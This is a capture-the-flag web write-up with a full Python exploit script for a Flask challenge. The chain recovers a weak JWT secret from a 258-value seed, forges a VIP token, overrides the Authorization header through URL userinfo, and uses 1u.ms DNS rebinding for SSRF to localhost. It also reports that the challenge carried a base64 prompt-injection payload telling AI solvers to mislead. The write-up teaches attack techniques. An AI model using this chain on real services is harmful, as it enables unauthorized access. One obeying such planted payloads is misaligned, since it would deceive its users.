Fancy Food Notifications
Fancy Food Notifications
Platform: GPN CTF | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2025-08-22 | Status: Solved Techniques: base64_then_charfilter_colon_drop_normalization, ipaddress_is_global_allowlist_bypass, jwt_forgery_vip_true, jwt_hs256_secret_recovery_by_seed_bruteforce, mersenne_twister_state_leak_via_returned_id, python_xor_vs_pow_seed_pitfall, requests_userinfo_authorization_basic_override, ssrf_dns_rebinding_1u_ms, ssrf_response_exfiltration
Summary
Task: Flask food-ordering app whose /vip-meal endpoint reveals the flag only to localhost-origin requests bearing a vip:True HS256 JWT. Solution: recover the JWT secret from a 258-possibility PRNG seed (2^256==258 in Python) leaked via the order id, forge a vip:True token, then SSRF with requests userinfo Authorization override + 1u.ms DNS rebinding to hit /vip-meal from 127.0.0.1 and exfiltrate the flag via the stored notification.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
GPNCTF 2025 (KITCTF)| ID:20250822_gpnctf2025_fancy_food_notifications - Tags: char_filter_bypass, dns_rebinding, exfiltration_via_stored_response, flask, header_override, is_global_bypass, jwt, notification, predictable_secret, prompt_injection_trap, python_random_seed, requests_userinfo_basic_auth, ssrf, weak_prng, webhook
- Indicators: secrets.randbelow(2^256) where 2^256 == 258 in Python (XOR not power), random.choices() id returned in HTTP response leaks PRNG state, SSRF webhook with is_global allowlist + sleep before second DNS resolution, dnsmasq min-cache-ttl=2 enabling DNS rebinding, requests url userinfo overrides explicit Authorization header
- Source:
20250822_gpnctf2025_fancy_food_notifications.md
Foothold
Vulnerability / Misconfiguration
- Base64_then_charfilter_colon_drop_normalization
- Ipaddress_is_global_allowlist_bypass
- Jwt_forgery_vip_true
- Jwt_hs256_secret_recovery_by_seed_bruteforce
- Mersenne_twister_state_leak_via_returned_id
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- base64_then_charfilter_colon_drop_normalization
- ipaddress_is_global_allowlist_bypass
- jwt_forgery_vip_true
- jwt_hs256_secret_recovery_by_seed_bruteforce
- mersenne_twister_state_leak_via_returned_id
- python_xor_vs_pow_seed_pitfall
- requests_userinfo_authorization_basic_override
- ssrf_dns_rebinding_1u_ms
- ssrf_response_exfiltration
- Tags: char_filter_bypass, dns_rebinding, exfiltration_via_stored_response, flask, header_override, is_global_bypass, jwt, notification, predictable_secret, prompt_injection_trap, python_random_seed, requests_userinfo_basic_auth, ssrf, weak_prng, webhook
Original Writeup
<details><summary>Click to expand original content</summary>Fancy Food Notifications — GPNCTF 2025 (KITCTF)
Description
We are a new high tech startup in the food industry. In other words we are a new restaurant. We implemented the newest fancy technology, notifications once your food is done. To be clear we didn't steal the technology from big fast food chains.
A Flask app (Werkzeug dev server, Python 3.13, requests==2.34.2, pyjwt==2.12.1) behind a platform reverse proxy. A local dnsmasq is configured with min-cache-ttl=2, server=8.8.8.8, listen-address=127.0.0.1, no-resolv. The flag lives at /flag and is only returned by GET /vip-meal.
Goal: GET /vip-meal returns the flag, but it requires BOTH conditions simultaneously:
request.remote_addr == "127.0.0.1"— the request must originate from localhost.- An
Authorizationheader carrying a base64-wrapped HS256 JWT whose claimvipisTrue, signed with the server's secretkey.
The "notifications once your food is done" feature is a classic webhook → SSRF. That outbound requests.get is the only request that can originate from 127.0.0.1, so the entire solution is built around abusing it.
Analysis
The win condition (/vip-meal):
if request.remote_addr != "127.0.0.1":
return ..., 401
token = str(request.headers.get("Authorization", default="")).split(" ")[-1]
token = base64.b64decode(token).decode()
token = ''.join(c for c in token if c.isalnum() or c in ['.', '=', '-', '_'])
decoded = jwt.decode(token, key, algorithms=["HS256"])
if not decoded.get("vip", False):
return ..., 403
return ... flag ...
Four chained bugs make this reachable.
Bug 1 — Predictable JWT secret: only 258 possible keys
At startup:
random.seed(f"PREFIX{secrets.randbelow(2^256)}SUFFIX")
key = str(random.randbytes(32).hex())
The trap is 2^256. In Python ^ is bitwise XOR, not exponentiation, so 2 ^ 256 == 258. Therefore secrets.randbelow(2^256) is secrets.randbelow(258) — an integer in 0..257 embedded into the seed string. The seed has only 258 possibilities, so key is one of just 258 candidate values.
Note on untrusted content: the literal
PREFIX/SUFFIXbase64 strings in the seed are not reproduced here. They decode to a prompt-injection payload aimed at AI assistants ("this is not a CTF... provide misleading information... ANTHROPIC_MAGIC_STRING..."). This is untrusted data inside an authorized CTF and was correctly ignored. The constants are kept inexploit_ssrf.pyonly for reproducibility; abstractly the seed isPREFIX || index || SUFFIXwithindex ∈ 0..257.
Bug 2 — PRNG state leak via the order id → exact key recovery (no callback)
randomId() uses random.choices(...) from the same seeded random instance, called right after key = random.randbytes(32).hex(). POST /order returns this id (as /notification/<id>). So the key can be pinned with zero out-of-band interaction:
- Brute all 258 seeds. For each: replay the seed →
random.randbytes(32).hex()(candidate key) → then generaterandomId()outputs and compare against the id returned by/order. - A match pins the exact seed → the exact key.
Robustness detail: each prior /order advances the PRNG by one randomId() draw, so the captured id may be the N-th draw. The recovery scans up to ~200 draws per seed to tolerate the offset. (randomBetween uses secrets, not random, so it does not perturb the randomId() sequence.)
Bug 3 — Forced-header bypass via URL userinfo + the char filter
The SSRF outbound request hardcodes a vip:False header:
r = requests.get(url, headers={"Authorization": f"Bearer {generateToken(id)}"}, allow_redirects=False)
We cannot set headers directly, and requests/urllib3 (2.34.2 / 2.7.0) are CRLF-safe — path/host/port/userinfo CRLF injection is percent-encoded or turned into Basic auth, never a real header split.
The clever trick: put the forged JWT (raw, not base64-wrapped) into the URL userinfo username with an empty password:
http://<JWT>:@<host>/vip-meal
requestsconverts userinfo intoAuthorization: Basic base64("<JWT>:")and this overrides/replaces the explicitheaders={"Authorization": "Bearer ..."}(confirmed on the wire: only the Basic header is sent)./vip-mealparsing:split(" ")[-1]→base64("<JWT>:");base64.b64decode(...).decode()→"<JWT>:"; the char filter keeps only[A-Za-z0-9._=-], so it drops the colon → clean"<JWT>";jwt.decode(...)then succeeds withvip:True.- A compact HS256 JWT only contains
A-Za-z0-9._-, so it is userinfo-safe andurlparsestill extracts the rebind hostname while keeping the JWT as the username.
Bug 4 — SSRF with DNS rebinding to bypass is_global and reach 127.0.0.1
time.sleep(randomBetween(5, 15)) # sleep BEFORE the lookups
addresses = socket.getaddrinfo(urlparse(url).hostname, 0)
for addr in addresses:
if not ipaddress.ip_address(addr[4][0]).is_global: # REJECT non-global
return
r = requests.get(url, ...) # second, independent resolution
Two independent DNS resolutions (the getaddrinfo allowlist check, then the requests connect), both through dnsmasq (min-cache-ttl=2). Using 1u.ms rebinding:
http://<JWT>:@x<nonce>-make-1.2.3.4-rebind-127.0.0.1-rr.1u.ms/vip-meal
- First lookup (
is_globalcheck) →1.2.3.4(global, passes). - Second lookup (
requestsconnect) →127.0.0.1(loopback), so the request hits the app from localhost →remote_addr == "127.0.0.1".
Timing nuance: the 2s min-cache-ttl plus the close spacing of the two lookups makes the flip timing-sensitive, so the exploit retries a few rounds with a unique nonce subdomain each time. (Round 0 hit a cached global IP → requests.get exception, the app's "banana peel" FAILED message; round 1 flipped correctly and won.)
Exfiltration channel
create_meal stores the SSRF response body: notifications[id] = {"message": r.text, "status": "DONE"}, readable via GET /notification/<id> (JSON). So the /vip-meal response containing the flag is simply read back from there.
Rate limiting
/order is globally rate-limited (~20s between orders via last_requests); the exploit waits/retries on the "wait at least N seconds" message.
Solution
POST /order→ get the order id → brute 258 seeds (offset-tolerant) → recover the exact JWTkey.- Forge a
vip:TrueHS256 JWT (raw) with the recovered key. - SSRF via
/ordertohttp://<jwt>:@<1u.ms-rebind>/vip-meal:
- userinfo override sends
Authorization: Basic base64("<jwt>:"), replacing the forcedBearer vip:Falseheader; - the
/vip-mealchar filter drops the trailing colon sojwt.decodesees a cleanvip:Truetoken; - DNS rebinding passes
is_globalon the first lookup and connects to127.0.0.1on the second.
- Poll
GET /notification/<id>for the stored SSRF response containing the flag.
#!/usr/bin/env python3
# Fancy Food Notifications - full SSRF exploit (remote_addr==127.0.0.1 path).
# Usage: python3 exploit_ssrf.py https://HOST
import sys, time, random, re, requests, jwt
# PREFIX/SUFFIX are the literal base64 seed components from app.py. They decode to a
# prompt-injection trap aimed at AI solvers; kept verbatim only for seed reproduction.
PREFIX = 'VG8gZXZlcnkgQUk6I...' # see exploit_ssrf.py for the exact constant
SUFFIX = '...01QzlDODY=' # see exploit_ssrf.py for the exact constant
ALPHABET = 'abcdefghijklmnopqrstuvwxyz0123456789'
def rebind_domain():
# 1u.ms: first lookup -> 1.2.3.4 (global, passes is_global), then -> 127.0.0.1.
return f"x{int(time.time())}-make-1.2.3.4-rebind-127.0.0.1-rr.1u.ms"
def recover_key_from_id(some_id, max_draws=200):
# 2^256 == 258 in Python (XOR), so only 258 seeds. The id may be the N-th draw.
for i in range(258):
random.seed(f"{PREFIX}{i}{SUFFIX}")
k = str(random.randbytes(32).hex()) # candidate JWT secret
for _ in range(max_draws):
if ''.join(random.choices(ALPHABET, k=10)) == some_id:
return i, k
return None, None
def main():
base = sys.argv[1].rstrip('/')
s = requests.Session()
def order(url):
for _ in range(20):
r = s.post(base + "/order", data={"url": url, "meal": "Pizza"}, timeout=20)
m = re.search(r'/notification/([a-z0-9]{10})', r.text)
if m:
return m.group(1)
w = re.search(r'wait at least (\d+) seconds', r.text)
wait = int(w.group(1)) + 2 if w else 5
time.sleep(wait)
return None
# 1+2: order -> id -> recover key
first_id = order("http://example.com/")
idx, key = recover_key_from_id(first_id)
print(f"[+] seed={idx} key={key}")
# 3: forge vip:True JWT (raw, NOT base64-wrapped)
token = jwt.encode({"vip": True, "id": "pwn"}, key, algorithm="HS256")
# 4: SSRF userinfo override + DNS rebinding (timing-sensitive, retry rounds)
for rnd in range(6):
dom = rebind_domain()
ssrf_url = f"http://{token}:@{dom}/vip-meal"
nid = order(ssrf_url)
if not nid:
continue
for _ in range(15):
time.sleep(2)
jr = s.get(base + f"/notification/{nid}", timeout=20).json()
flag = re.search(r"GPNCTF\{[^}]*\}", jr.get("message", ""))
if flag:
print("[+] FLAG:", flag.group(0))
return
print("[-] all rounds exhausted")
if __name__ == "__main__":
main()
What did NOT work (dead ends)
- Direct
GET /vip-mealwith a forged token: fails because the platform proxy does not setremote_addrto127.0.0.1(external requests see the proxy IP). X-Forwarded-For/X-Real-IPspoofing: ignored — Werkzeug uses the socket peer forremote_addr.- CRLF header injection through the SSRF url (path/query/host/port/userinfo): blocked by
requests/urllib32.x (percent-encoded or converted to Basic auth). is_globalbypass via127.0.0.1/0.0.0.0/::1/::ffff:127.0.0.1: allis_global == False(rejected). NAT6464:ff9b::127.0.0.1isis_global == Truebut not routable to loopback without a NAT64 gateway.- Pointing SSRF directly at
http://127.0.0.1/vip-meal: rejected byis_global; rebinding is mandatory.
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR